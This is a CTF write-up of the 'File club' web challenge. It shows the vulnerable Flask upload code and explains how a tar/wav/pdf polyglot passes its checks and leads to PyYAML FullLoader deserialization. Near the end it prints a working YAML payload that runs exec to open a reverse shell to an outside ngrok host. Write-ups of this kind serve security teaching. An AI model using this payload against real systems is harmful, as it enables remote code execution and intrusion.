# `FILE CLUB`
`File club` was a web challenge in `FooBar-CTF` which ended up with 0 solves during the we get 1 solve after CTF shoutout to [TeamRedKnights](https://twitter.com/TeamRedKnights)
`Challenge Link` : http://web.chall.nitdgplug.org:8000/

## PART-1
Like all challenges source code for this challenge was also given :
```python=3
#!/usr/bin/python3
from asyncio import subprocess
from flask import Flask, Response, redirect, request, render_template
from werkzeug.exceptions import RequestEntityTooLarge
from string import ascii_lowercase, digits
from random import choice
import os, tarfile, wave
from PIL import Image
import yaml
import zipfile
app = Flask(__name__)
UPLOAD_FOLDER = "./uploads/"
EXTRACT_FOLDER = "./extracted/"
charset = digits + ascii_lowercase
random_string = lambda: "".join(choice(charset) for _ in range(10))
def valid_png(file):
try:
img = Image.open(file)
if(img.format == 'PNG'):
pass
return True
except:
return False
def valid_wave(file):
try :
with wave.open(file):
pass
return True
except:
return False
def valid_pdf(file):
return_code = os.system(f"pdfinfo {file} >/dev/null 2>&1")
return return_code == 0
def valid_zip(file):
try :
with zipfile.ZipFile(file):
return True
except:
return False
def valid_tar(file):
try :
with tarfile.open(file):
pass
return True
except:
return False
def check(file):
if valid_tar(file) and valid_wave(file) and valid_pdf(file) and not valid_png(file):
try:
with tarfile.open(file) as tar:
tar.extractall(EXTRACT_FOLDER)
except Exception as e:
print(e)
return False
print("Files extracted")
try:
with open('{}test.yaml'.format(EXTRACT_FOLDER),'r') as stream:
os.system(f'rm -rf {EXTRACT_FOLDER}/*')
output = yaml.load(stream,Loader=yaml.FullLoader)
except Exception as e:
print(e)
os.system(f'rm -rf {EXTRACT_FOLDER}/*')
return True
isvalid = True
else:
os.system(f'rm -rf {EXTRACT_FOLDER}/*')
isvalid = False
os.system(f"rm {file}")
return isvalid
@app.route("/", methods=["GET"])
def root():
return render_template("index.html")
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == "POST":
f = request.files.get('upload-file')
if not f:
return render_template("nofile.html"), 400
file_location = os.path.join(UPLOAD_FOLDER, random_string())
f.save(file_location)
if check(file_location):
return render_template("success.html")
else:
return render_template("fail.html")
else:
return redirect("/")
@app.errorhandler(404)
def not_found(e):
return render_template('404.html'), 404
```
### `SOURCE CODE ANALYSIS`

This is pretty basic flask application where we have form to upload file but not a normal file as the challenge name suggest `file-club` the file must be a valid `tar & wav & pdf` actually this idea was inspired from the [video](https://youtu.be/VVdmmN0su6E) so we need to create a [polyglot](https://en.wikipedia.org/wiki/Polyglot_(computing)) file *watch the video for more details* so we can easily create a polyglot using [mitra](https://github.com/corkami/mitra) : `a polyglot generator tool`.
> since we have 3 file type total possible combinations are 6 and order of file matters while creating the polglot and the correct order was :
```bash=
python3 mitra.py demo.wav demo.pdf
# XYZ = generated file
python3 mitra.py hax.tar XYZ
```
so let's upload our polyglot and let's see it's valid or not !
if you submit a valid polyglot we get a successful page:

### `2nd part : Yaml deserialization`
Once we upload a valid polyglot file the `tar` get extracted and get loaded loaded `yaml.load(stream,Loader=yaml.FullLoader)` here the vulnerablity lies in the `PyYAML` library.
> PyYAML is a python library that allows users to serialize and deserialize data to the commonly used .yml format if you don't know about [deserialization-attack](https://portswigger.net/web-security/deserialization) highly recommended to read this before moving ahead
So part was entirely based on PyYAML deserialization
vulnerablity highly recommended to read this [blog](https://blog.ankursundara.com/pyyaml-cve/) a detailed analysis have been provided here in nutshell in older version of PyYAML .
> In older version of PyYAML,the yaml was deserialized with FullLoader, enabling to load complex function and objects which in turn allowed arbitary code execution but in current version of the PyYAML loads file with safeLoad which loads only safe portion of the yaml restricting complex functions and objects.
if you want see a demo in your local machine install a older version of PyYAML`pip3 install PyYAML==5.3.1` we used the same veriosn while hosting the challenge.
```python
import yaml
import subprocess
with open("test.yaml", "r") as stream:
try:
print(yaml.load(stream,Loader=yaml.FullLoader))
except yaml.YAMLError as exc:
print(exc)
```
and pick the the yaml payload from the above blog :
```yaml=
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ "1+2" ]
```
and since eval is evil you can also run system level command
This was the actual payload which we used to spawn a reverse shell :
```python=3
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "import socket,os;s=socket.socket();s.connect(('X.tcp.ngrok.io',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);__import__('pty').spawn('sh')"
```
so let's put all the pieces together we need to craft a payload to spwan reverse shell and put your payload in `.yml` file and and craete a `.tar` file than create the valid polyglot which will pass the first check and the `tar` get extracted and and get loaded and since `FullLoader` is enabled we get a arbitrary code execution.
